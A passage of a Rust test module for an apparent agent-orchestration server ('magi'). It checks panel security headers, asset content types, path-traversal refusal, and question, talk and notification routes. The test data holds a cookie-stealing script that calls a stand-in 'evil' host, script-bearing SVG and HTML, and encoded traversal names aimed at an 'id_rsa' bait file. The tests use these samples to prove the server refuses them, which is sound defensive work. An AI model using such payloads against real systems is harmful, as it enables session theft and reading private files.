5235                .expect("park knock")
5236                .expect("the test set an address");
5237            let heard = request(addr, "GET", "/api/health", None).await.status;
5238            *PARK_HEARD.lock().expect("park heard") = Some(heard);
5239            Ok(())
5240        })
5241    }
5242
5243    /// The loop view once `want` accepts it.
5244    ///
5245    /// Polled rather than asserted straight after the POST because stopping
5246    /// is deliberately not instant - that is the contract - and rather than
5247    /// slept through because a fixed wait is either flaky or slow.
5248    /// `SETTLE_STEPS` is far longer than a stand-in loop needs and still
5249    /// finite, so a genuine hang fails the test instead of hanging the
5250    /// suite.
5251    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
5252        for _ in 0..SETTLE_STEPS {
5253            let view = fx.get("/api/loop").await.json();
5254            if want(&view) {
5255                return view;
5256            }
5257            tokio::time::sleep(Duration::from_millis(10)).await;
5258        }
5259        panic!(
5260            "the loop never settled: {}",
5261            fx.get("/api/loop").await.json()
5262        );
5263    }
5264
5265    /// File an open question directly in the store the server reads.
5266    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
5267        let store = fx.questions();
5268        let mut q = Question::new(
5269            "20260902-000000-beef".to_owned(),
5270            "implement".to_owned(),
5271            "impl-A".to_owned(),
5272            summary.to_owned(),
5273            "because it matters".to_owned(),
5274            choices.iter().map(|c| (*c).to_owned()).collect(),
5275        );
5276        store.put(&mut q).expect("put question");
5277        q.id
5278    }
5279
5280    /// A question with a panel the server can serve, plus the named assets.
5281    ///
5282    /// Written through `Questions::put_panel` rather than by laying out the
5283    /// directory here, so these tests exercise the same on-disk shape the
5284    /// agents produce and cannot pass against a layout only the tests know.
5285    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
5286        let store = fx.questions();
5287        let mut q = Question::new(
5288            "20260902-000000-beef".to_owned(),
5289            "land".to_owned(),
5290            "fix".to_owned(),
5291            "Merge this?".to_owned(),
5292            "the diff is in the panel".to_owned(),
5293            vec!["merge".to_owned(), "hold".to_owned()],
5294        );
5295        // Staged outside the questions root, because `put_panel` copies from
5296        // wherever the agent left its files.
5297        let staging = fx.home.path().join("staging");
5298        std::fs::create_dir_all(&staging).expect("staging dir");
5299        let sources: Vec<PathBuf> = assets
5300            .iter()
5301            .map(|(name, bytes)| {
5302                let path = staging.join(name);
5303                std::fs::write(&path, bytes).expect("write staged asset");
5304                path
5305            })
5306            .collect();
5307        store
5308            .put_panel(&mut q, html, &sources)
5309            .expect("write the panel");
5310        store.put(&mut q).expect("put question");
5311        q.id
5312    }
5313
5314    /// A talk on disk, without talking to a model.
5315    ///
5316    /// Written as JSON straight into the store the server reads, because the
5317    /// only constructor `talk::begin` offers takes no turn but still requires
5318    /// a real caller-visible flow. The one thing this cannot make up is the
5319    /// seat, so it is built with the real `SeatState::new` and serialized -
5320    /// the alternative, hand-writing that object, would make these tests fail
5321    /// the day the seat gains a field.
5322    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
5323        let store = fx.talks();
5324        std::fs::create_dir_all(store.root()).expect("talks dir");
5325        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
5326            .expect("serialize a seat");
5327        let body = serde_json::json!({
5328            "schema": 1,
5329            "id": id,
5330            "repo": "/repo/magi",
5331            "agent": "mock",
5332            "status": status,
5333            "turns": [],
5334            "created_at": Timestamp::now().to_string(),
5335            "updated_at": Timestamp::now().to_string(),
5336            "seat": seat,
5337        });
5338        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
5339        store.get(id).expect("the seeded talk has to be readable");
5340        id.to_owned()
5341    }
5342
5343    #[tokio::test]
5344    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
5345        let fx = Fixture::start().await;
5346        let id = panel(
5347            &fx,
5348            "<h1>Merge?</h1><img src=\"diff.svg\">",
5349            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
5350        );
5351
5352        for path in [
5353            format!("/api/questions/{id}/panel"),
5354            format!("/api/questions/{id}/asset/diff.svg"),
5355        ] {
5356            let res = fx.get(&path).await;
5357            assert_eq!(res.status, 200, "{path}: {}", res.body);
5358            // The whole string, not a substring. A weakened directive - an
5359            // `img-src *` that lets a panel beacon out to a remote host, a
5360            // `script-src` anything, a missing `form-action` that lets it post
5361            // the owner's decision to a third party - has to fail here, and a
5362            // `contains` assertion would let every one of those through.
5363            assert_eq!(
5364                res.header("content-security-policy"),
5365                Some(
5366                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
5367                     font-src data:; base-uri 'none'; form-action 'none'; \
5368                     frame-ancestors 'self'"
5369                ),
5370                "{path} is the only thing between a hostile panel and the tailnet"
5371            );
5372            assert_eq!(
5373                res.header("x-content-type-options"),
5374                Some("nosniff"),
5375                "{path}: a browser must not re-decide the type we sent"
5376            );
5377            assert_eq!(
5378                res.header("referrer-policy"),
5379                Some("no-referrer"),
5380                "{path}: a panel must not leak the question id off the machine"
5381            );
5382
5383            // The front end mounts the frame only after a `HEAD` says the
5384            // panel is there, so `HEAD` has to answer with the same status and
5385            // the same policy as `GET` - a preflight that came back without
5386            // the CSP would mean a frame mounted on an unverified promise.
5387            let pre = fx.head(&path).await;
5388            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
5389            assert_eq!(
5390                pre.header("content-security-policy"),
5391                res.header("content-security-policy"),
5392                "{path}: the preflight carries the same policy"
5393            );
5394            assert_eq!(
5395                pre.header("content-type"),
5396                res.header("content-type"),
5397                "{path}: the preflight carries the same type"
5398            );
5399        }
5400    }
5401
5402    #[tokio::test]
5403    async fn a_panel_reaches_the_browser_byte_for_byte() {
5404        let fx = Fixture::start().await;
5405        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
5406        // tag, an entity, and a multi-byte character. The sandbox is what makes
5407        // this safe, so nothing here may be rewritten on the way out - a
5408        // rewritten diff is a diff the owner cannot trust.
5409        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
5410        let id = panel(&fx, html, &[]);
5411
5412        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
5413
5414        assert_eq!(res.status, 200);
5415        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
5416        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
5417        assert_eq!(
5418            res.header("content-disposition"),
5419            None,
5420            "the panel itself is rendered in the frame, not downloaded"
5421        );
5422    }
5423
5424    #[tokio::test]
5425    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
5426        let fx = Fixture::start().await;
5427        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
5428        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
5429        let id = panel(
5430            &fx,
5431            "<img src=\"diff.svg\"><img src=\"shot.png\">",
5432            &[("diff.svg", svg), ("shot.png", png)],
5433        );
5434
5435        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
5436        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
5437
5438        assert_eq!(as_svg.status, 200);
5439        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
5440        // An SVG is XML that may carry script. Inside the panel it is an
5441        // `<img src>` and the script cannot run; opened at the top level it
5442        // would be a document on magi's own origin, so the browser is told to
5443        // download it instead of rendering it.
5444        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
5445
5446        assert_eq!(as_png.status, 200);
5447        assert_eq!(as_png.header("content-type"), Some("image/png"));
5448        assert_eq!(
5449            as_png.header("content-disposition"),
5450            None,
5451            "a raster image has no execution surface, so tapping it still shows it"
5452        );
5453        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
5454    }
5455
5456    #[tokio::test]
5457    async fn an_html_asset_is_never_served_as_html() {
5458        let fx = Fixture::start().await;
5459        let id = panel(
5460            &fx,
5461            "<p>see the notes</p>",
5462            &[
5463                (
5464                    "notes.html",
5465                    b"<script>fetch('http://evil/'+document.cookie)</script>",
5466                ),
5467                ("hook.js", b"fetch('http://evil/')"),
5468                ("data.json", b"{}"),
5469                ("HEADLINE.TXT", b"plain"),
5470            ],
5471        );
5472
5473        for name in ["notes.html", "hook.js", "data.json"] {
5474            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
5475            assert_eq!(res.status, 200, "{name}: {}", res.body);
5476            // Serving this as text/html would be a way to reach agent markup
5477            // at the top level of the operator's browser, outside the frame's
5478            // sandbox and outside its CSP - which is the whole thing the panel
5479            // design exists to prevent. Unlisted types are downloads.
5480            assert_eq!(
5481                res.header("content-type"),
5482                Some("application/octet-stream"),
5483                "{name} must not be a type the browser will execute or render"
5484            );
5485        }
5486        // The whitelist is matched case-insensitively, so an agent shouting the
5487        // extension still gets a readable file rather than a download.
5488        let txt = fx
5489            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
5490            .await;
5491        assert_eq!(
5492            txt.header("content-type"),
5493            Some("text/plain; charset=utf-8")
5494        );
5495    }
5496
5497    #[tokio::test]
5498    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
5499        let fx = Fixture::start().await;
5500        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5501        // Something outside the panel directory that a traversal would reach if
5502        // one got through, so a passing test is not merely "the file was
5503        // missing anyway".
5504        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
5505
5506        // Decoded before this server's handler sees them: axum percent-decodes
5507        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
5508        // string with a NUL in it. All three look like ordinary single-segment
5509        // filenames to the router, so the router passes them through and
5510        // `valid_asset_name` is what refuses them - for the literal `..`, and
5511        // for `/`, `\` and NUL not being in the permitted character set.
5512        for encoded in [
5513            "%2e%2e%2fid_rsa",
5514            "..%2fid_rsa",
5515            "..%5cid_rsa",
5516            "%2e%2e%5cid_rsa",
5517            "diff%00.svg",
5518            "..",
5519            ".hidden",
5520            "%2e%2e%2f%2e%2e%2fid_rsa",
5521        ] {
5522            let res = fx
5523                .get(&format!("/api/questions/{id}/asset/{encoded}"))
5524                .await;
5525            assert_eq!(
5526                res.status, 400,
5527                "`{encoded}` has to be refused by name, not looked up: {}",
5528                res.body
5529            );
5530            assert!(res.json()["error"].is_string(), "{}", res.body);
5531        }
5532
5533        // Not decoded, and never this handler's problem: a real slash makes the
5534        // request one segment too long for `/api/questions/{id}/asset/{name}`,
5535        // so axum's router has no route to match and answers before any code
5536        // here runs. Asserted so that a future route with a wildcard segment
5537        // cannot quietly open this door.
5538        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
5539            let res = fx
5540                .get(&format!("/api/questions/{id}/asset/{literal}"))
5541                .await;
5542            assert_eq!(
5543                res.status, 404,
5544                "`{literal}` must not match the asset route at all: {}",
5545                res.body
5546            );
5547        }
5548    }
5549
5550    #[tokio::test]
5551    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
5552        let fx = Fixture::start().await;
5553        let plain = ask(&fx, "Which backend?", &["SQLite"]);
5554        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
5555
5556        // A question nobody wrote a panel for. The client preflights with HEAD
5557        // and cannot see inside a sandboxed frame, so this must be a status and
5558        // not an empty page.
5559        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
5560        assert_eq!(none.status, 404, "{}", none.body);
5561        assert!(none.json()["error"].is_string(), "{}", none.body);
5562        assert_eq!(
5563            fx.head(&format!("/api/questions/{plain}/panel"))
5564                .await
5565                .status,
5566            404,
5567            "the preflight is the only way the client can learn this"
5568        );
5569
5570        // A name that is perfectly legal and simply is not there.
5571        let missing = fx
5572            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
5573            .await;
5574        assert_eq!(missing.status, 404, "{}", missing.body);
5575        assert!(missing.json()["error"].is_string(), "{}", missing.body);
5576
5577        // A question that does not exist at all, on both routes.
5578        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
5579        assert_eq!(
5580            fx.get("/api/questions/nope/asset/diff.svg").await.status,
5581            404
5582        );
5583    }
5584
5585    #[tokio::test]
5586    async fn a_run_with_an_open_question_reads_as_waiting() {
5587        let fx = Fixture::start().await;
5588        let run = "20260902-000000-beef".to_owned();
5589        write_run(&fx.runs(), &run, RunStatus::Implementing);
5590
5591        let before = fx.get("/api/runs").await.json();
5592        assert_eq!(before[0]["waiting"], false, "{before}");
5593
5594        let store = fx.questions();
5595        let mut q = Question::new(
5596            run.clone(),
5597            "implement".to_owned(),
5598            "impl-A".to_owned(),
5599            "Which backend?".to_owned(),
5600            String::new(),
5601            vec!["SQLite".to_owned()],
5602        );
5603        store.put(&mut q).expect("put");
5604
5605        let during = fx.get("/api/runs").await.json();
5606        assert_eq!(during[0]["waiting"], true, "{during}");
5607
5608        // Answered: the run is moving again, and the flag has to follow without
5609        // anything having rewritten run.json.
5610        q.answer(Answer::Choice("SQLite".to_owned()))
5611            .expect("answer");
5612        store.put(&mut q).expect("put");
5613        let after = fx.get("/api/runs").await.json();
5614        assert_eq!(after[0]["waiting"], false, "{after}");
5615    }
5616
5617    #[tokio::test]
5618    async fn an_open_question_is_listed_and_counted_by_health() {
5619        let fx = Fixture::start().await;
5620        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5621
5622        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5623        let listed = fx.get("/api/questions").await.json();
5624        assert_eq!(listed.as_array().expect("array").len(), 1);
5625        assert_eq!(listed[0]["id"], id);
5626        assert_eq!(listed[0]["status"], "open");
5627        assert_eq!(listed[0]["choices"][1], "Redis");
5628        // The count is what makes the phone's indicator honest: it is the one
5629        // number meaning nothing will move until a human acts.
5630        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5631    }
5632
5633    #[tokio::test]
5634    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
5635        let fx = Fixture::start().await;
5636        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5637        let path = format!("/api/questions/{id}/answer");
5638
5639        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
5640        assert_eq!(res.status, 200, "{}", res.body);
5641        let body = res.json();
5642        assert_eq!(body["status"], "answered");
5643        assert_eq!(body["answer"]["choice"], "Redis");
5644
5645        // Answered from the terminal in between the list and the tap: the UI
5646        // must be able to tell this from a bad request, so it can show the
5647        // recorded answer instead of an error.
5648        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
5649        assert_eq!(again.status, 409, "{}", again.body);
5650        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
5651    }
5652
5653    #[tokio::test]
5654    async fn saying_something_appends_a_turn_without_answering() {
5655        let fx = Fixture::start().await;
5656        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5657        let path = format!("/api/questions/{id}/say");
5658
5659        let res = fx
5660            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
5661            .await;
5662        assert_eq!(res.status, 200, "{}", res.body);
5663        let body = res.json();
5664        assert_eq!(body["status"], "open", "talking back is not a decision");
5665        assert_eq!(body["answer"], Value::Null);
5666        assert_eq!(body["thread"][0]["who"], "operator");
5667        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
5668        assert_eq!(body["waiting_on_agent"], true);
5669        // Still open, still counted, still exactly one question.
5670        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5671    }
5672
5673    #[tokio::test]
5674    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
5675        let fx = Fixture::start().await;
5676        let store = fx.questions();
5677        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5678        assert_eq!(
5679            fx.get("/api/health").await.json()["questions_needs_owner"],
5680            1
5681        );
5682
5683        // The owner asks back instead of deciding: the ask bar, the nav badge
5684        // and the title must stop naming this question, because there is
5685        // nothing to decide until the agent answers - `status` alone cannot
5686        // say that, which is the whole reason `questions_needs_owner` exists
5687        // alongside `questions_open`.
5688        let res = fx
5689            .post(
5690                &format!("/api/questions/{id}/say"),
5691                Some(r#"{"body":"why not Postgres?"}"#),
5692            )
5693            .await;
5694        assert_eq!(res.status, 200, "{}", res.body);
5695        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5696        assert_eq!(
5697            fx.get("/api/health").await.json()["questions_needs_owner"],
5698            0,
5699            "waiting on the agent is not waiting on the owner"
5700        );
5701
5702        // `magi ask --thread` replying is what brings the owner count back -
5703        // the same event that would resume the CLI call blocked in `magi
5704        // ask`.
5705        let mut q = store.get(&id).expect("get");
5706        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
5707            .expect("reply");
5708        store.put(&mut q).expect("put");
5709        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5710        assert_eq!(
5711            fx.get("/api/health").await.json()["questions_needs_owner"],
5712            1,
5713            "the agent's reply is what should light the banner back up"
5714        );
5715    }
5716
5717    #[tokio::test]
5718    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
5719        let fx = Fixture::start().await;
5720        let store = fx.questions();
5721
5722        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5723        let res = fx
5724            .post(
5725                &format!("/api/questions/{empty_id}/say"),
5726                Some(r#"{"body":"   "}"#),
5727            )
5728            .await;
5729        assert_eq!(res.status, 400, "{}", res.body);
5730
5731        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5732        let mut answered = store.get(&answered_id).expect("get");
5733        answered
5734            .answer(Answer::Choice("SQLite".to_owned()))
5735            .expect("answer");
5736        store.put(&mut answered).expect("put");
5737        let res = fx
5738            .post(
5739                &format!("/api/questions/{answered_id}/say"),
5740                Some(r#"{"body":"still there?"}"#),
5741            )
5742            .await;
5743        assert_eq!(res.status, 409, "{}", res.body);
5744
5745        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5746        let mut abandoned = store.get(&abandoned_id).expect("get");
5747        abandoned.abandon("timed out");
5748        store.put(&mut abandoned).expect("put");
5749        let res = fx
5750            .post(
5751                &format!("/api/questions/{abandoned_id}/say"),
5752                Some(r#"{"body":"still there?"}"#),
5753            )
5754            .await;
5755        assert_eq!(res.status, 409, "{}", res.body);
5756    }
5757
5758    #[tokio::test]
5759    async fn an_answer_the_question_does_not_offer_is_refused() {
5760        let fx = Fixture::start().await;
5761        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
5762        let path = format!("/api/questions/{id}/answer");
5763
5764        for body in [
5765            r#"{"choice":"Postgres"}"#,
5766            r#"{"text":"whatever you think"}"#,
5767            r#"{"choice":"Redis","text":"both"}"#,
5768            r#"{}"#,
5769        ] {
5770            let res = fx.post(&path, Some(body)).await;
5771            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
5772            assert!(res.json()["error"].is_string(), "{}", res.body);
5773        }
5774        // Nothing above may have answered it.
5775        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
5776    }
5777
5778    #[tokio::test]
5779    async fn a_free_text_question_takes_text_and_not_a_choice() {
5780        let fx = Fixture::start().await;
5781        let id = ask(&fx, "What should the flag be called?", &[]);
5782        let path = format!("/api/questions/{id}/answer");
5783
5784        assert_eq!(
5785            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
5786            400
5787        );
5788        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
5789        assert_eq!(res.status, 200, "{}", res.body);
5790        assert_eq!(res.json()["answer"]["text"], "--json");
5791    }
5792
5793    #[tokio::test]
5794    async fn an_unknown_question_is_a_json_404() {
5795        let fx = Fixture::start().await;
5796        let res = fx
5797            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
5798            .await;
5799        assert_eq!(res.status, 404, "{}", res.body);
5800        assert!(res.json()["error"].is_string());
5801    }
5802
5803    #[tokio::test]
5804    async fn notifications_list_read_dismiss_and_health_agree() {
5805        let fx = Fixture::start().await;
5806        let store = Notices::at(fx.home.path().join("notifications"));
5807        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
5808        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
5809
5810        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
5811        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
5812
5813        let health = fx.get("/api/health").await.json();
5814        assert_eq!(health["notifications_unread"], 2);
5815        assert_ne!(
5816            health["notifications_rev"], rev0,
5817            "the badge must move live"
5818        );
5819
5820        let listed = fx.get("/api/notifications").await.json();
5821        assert_eq!(listed["unread"], 2);
5822        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
5823        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
5824
5825        let read = fx
5826            .post(&format!("/api/notifications/{}/read", a.id), None)
5827            .await;
5828        assert_eq!(read.status, 200, "{}", read.body);
5829        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
5830
5831        let gone = fx
5832            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
5833            .await;
5834        assert_eq!(gone.status, 200, "{}", gone.body);
5835        let listed = fx.get("/api/notifications").await.json();
5836        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
5837        assert_eq!(listed["unread"], 0);
5838
5839        store.raise(Notice::info("x", "again")).unwrap();
5840        let all = fx.post("/api/notifications/read-all", None).await;
5841        assert_eq!(all.status, 200, "{}", all.body);
5842        assert_eq!(all.json()["marked"], 1);
5843        assert_eq!(
5844            fx.get("/api/health").await.json()["notifications_unread"],
5845            0
5846        );
5847
5848        let missing = fx.post("/api/notifications/nope/read", None).await;
5849        assert_eq!(missing.status, 404, "{}", missing.body);
5850        assert!(missing.json()["error"].is_string());
5851    }
5852
5853    /// New work reaches the queue through `magi task add`, a standing talk's
5854    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
5855    /// so the compose form and that route are gone. The tests that covered
5856    /// that route's validation went with it, and nothing was left asserting
5857    /// it stays gone — so a re-added handler would silently let the phone
5858    /// file briefs no one validated.
5859    #[tokio::test]
5860    async fn a_task_cannot_be_filed_over_the_phone_directly() {
5861        let f = Fixture::start().await;
5862
5863        let res = f
5864            .post(
5865                "/api/queue",
5866                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
5867            )
5868            .await;
5869
5870        assert_eq!(
5871            res.status, 405,
5872            "POST /api/queue must not be a route: {}",
5873            res.body
5874        );
5875        assert!(
5876            f.queue().list().is_empty(),
5877            "a task filed by a route that does not exist must not reach the disk"
5878        );
5879        // The path itself is still served — the Queue view reads it — and the
5880        // per-task controls are untouched by the entry being removed.
5881        assert_eq!(f.get("/api/queue").await.status, 200);
5882    }
5883
5884    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
5885    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
5886        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
5887            .expect("checkout dir");
5888    }
5889
5890    #[tokio::test]
5891    async fn repos_list_returns_name_and_path_for_every_configured_root() {
5892        let tmp = TempDir::new().expect("tempdir");
5893        let repo = tmp.path().join("repo");
5894        std::fs::create_dir_all(&repo).expect("repo dir");
5895        let root = tmp.path().join("root");
5896        make_checkout(&root, "github.com", "yukimemi", "magi");
5897        std::fs::write(
5898            repo.join("magi.toml"),
5899            format!(
5900                "[repos]\nroots = [{:?}]\n",
5901                root.to_string_lossy().into_owned()
5902            ),
5903        )
5904        .expect("write magi.toml");
5905
5906        let f = Fixture::with_repo(repo).await;
5907        let res = f.get("/api/repos").await;
5908        assert_eq!(res.status, 200, "{}", res.body);
5909        let list = res.json();
5910        let repos = list.as_array().expect("an array");
5911        assert_eq!(repos.len(), 1);
5912        assert_eq!(repos[0]["name"], "yukimemi/magi");
5913        assert!(
5914            repos[0]["path"]
5915                .as_str()
5916                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
5917            "{list}"
5918        );
5919    }
5920
5921    #[tokio::test]
5922    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
5923        let tmp = TempDir::new().expect("tempdir");
5924        let repo = tmp.path().join("repo");
5925        std::fs::create_dir_all(&repo).expect("repo dir");
5926        let root = tmp.path().join("root");
5927        make_checkout(&root, "github.com", "yukimemi", "magi");
5928        std::fs::write(
5929            repo.join("magi.toml"),
5930            format!(
5931                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
5932                root.to_string_lossy().into_owned()
5933            ),
5934        )
5935        .expect("write magi.toml");
5936
5937        let f = Fixture::with_repo(repo).await;
5938        let first = f.get("/api/repos").await;
5939        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
5940
5941        // A second checkout appears; within the TTL the cached answer must
5942        // not notice it.
5943        make_checkout(&root, "github.com", "yukimemi", "rvpm");
5944        let second = f.get("/api/repos").await;
5945        assert_eq!(
5946            second.json().as_array().map(Vec::len),
5947            Some(1),
5948            "a fresh cache must not rescan inside the TTL"
5949        );
5950
5951        let refreshed = f.get("/api/repos?refresh=1").await;
5952        assert_eq!(
5953            refreshed.json().as_array().map(Vec::len),
5954            Some(2),
5955            "an explicit refresh must rescan even inside the TTL"
5956        );
5957    }
5958
5959    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
5960    /// string, declared straight in a repository's own `magi.toml` rather
5961    /// than the operator's real roster. No real agent CLI is spawned - `sh`
5962    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
5963    /// this is safe to run over a real HTTP round trip.
5964    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
5965
5966    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
5967    /// real `Config::discover` to find an agent - `talk::begin` resolves one
5968    /// even though it takes no turn, and `talk_say` invokes one.
5969    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
5970        let tmp = TempDir::new().expect("tempdir");
5971        let repo = tmp.path().join("repo");
5972        std::fs::create_dir_all(&repo).expect("repo dir");
5973        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
5974        let f = Fixture::with_repo(repo.clone()).await;
5975        (tmp, repo, f)
5976    }
5977
5978    #[tokio::test]
5979    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
5980        let (_tmp, _repo, f) = talk_fixture().await;
5981
5982        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
5983        // is the ordinary way a phone opens a talk.
5984        let opened = f.post("/api/talks", None).await;
5985        assert_eq!(opened.status, 201, "{}", opened.body);
5986        let body = opened.json();
5987        assert_eq!(body["status"], "open");
5988        assert_eq!(
5989            body["turns"].as_array().unwrap().len(),
5990            0,
5991            "opening takes no agent turn: there is nothing yet to answer"
5992        );
5993
5994        // An explicit empty object is the same request as none at all.
5995        let also_opened = f.post("/api/talks", Some("{}")).await;
5996        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
5997
5998        let listed = f.get("/api/talks").await.json();
5999        assert_eq!(listed.as_array().unwrap().len(), 2);
6000    }
6001
6002    #[tokio::test]
6003    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
6004        let f = Fixture::start().await;
6005        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
6006        let queue = f.queue();
6007        let mut mine = Task::new(
6008            "rename the loader".to_owned(),
6009            "rename the loader".to_owned(),
6010            PathBuf::from("/repo/magi"),
6011            Source::Agent {
6012                run: talk_id.clone(),
6013                node: "chat".to_owned(),
6014            },
6015        );
6016        queue.put(&mut mine).expect("file the task");
6017        let mut theirs = Task::new(
6018            "unrelated".to_owned(),
6019            "unrelated".to_owned(),
6020            PathBuf::from("/repo/magi"),
6021            Source::Human,
6022        );
6023        queue.put(&mut theirs).expect("file the task");
6024
6025        let res = f.get(&format!("/api/talks/{talk_id}")).await;
6026        assert_eq!(res.status, 200, "{}", res.body);
6027        let body = res.json();
6028        assert_eq!(
6029            body["status"], "open",
6030            "filing a task does not close a talk"
6031        );
6032        let tasks = body["tasks"].as_array().expect("tasks array");
6033        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
6034        assert_eq!(tasks[0]["id"], mine.id);
6035    }
6036
6037    #[tokio::test]
6038    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
6039        let (_tmp, _repo, f) = talk_fixture().await;
6040        let id = f.post("/api/talks", None).await.json()["id"]
6041            .as_str()
6042            .expect("id")
6043            .to_owned();
6044
6045        let res = f
6046            .post(
6047                &format!("/api/talks/{id}/say"),
6048                Some(r#"{"text":"what does the queue module do?"}"#),
6049            )
6050            .await;
6051        assert_eq!(res.status, 202, "{}", res.body);
6052        let queued = res.json();
6053        let turns = queued["turns"].as_array().expect("turns array");
6054        assert_eq!(
6055            turns.len(),
6056            1,
6057            "the answer reflects only what is on disk the instant it is sent, \
6058             before the agent's turn - which can run for the whole of \
6059             `[graph] timeout_talk` - has a chance to land: {queued}"
6060        );
6061        assert_eq!(turns[0]["who"], "operator");
6062        assert_eq!(turns[0]["body"], "what does the queue module do?");
6063        assert_eq!(
6064            queued["thinking"], true,
6065            "the accepted response exposes the background turn claim: {queued}"
6066        );
6067
6068        let mut turns_after = 1;
6069        for _ in 0..SETTLE_STEPS {
6070            let detail = f.get(&format!("/api/talks/{id}")).await.json();
6071            turns_after = detail["turns"].as_array().expect("turns array").len();
6072            if turns_after == 2 {
6073                break;
6074            }
6075            tokio::time::sleep(Duration::from_millis(10)).await;
6076        }
6077        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
6078    }
6079
6080    /// A phone that reloads mid-request drops `talk_say`'s whole handler
6081    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
6082    /// guards against: `talk::record` used to return, and only *then* did the
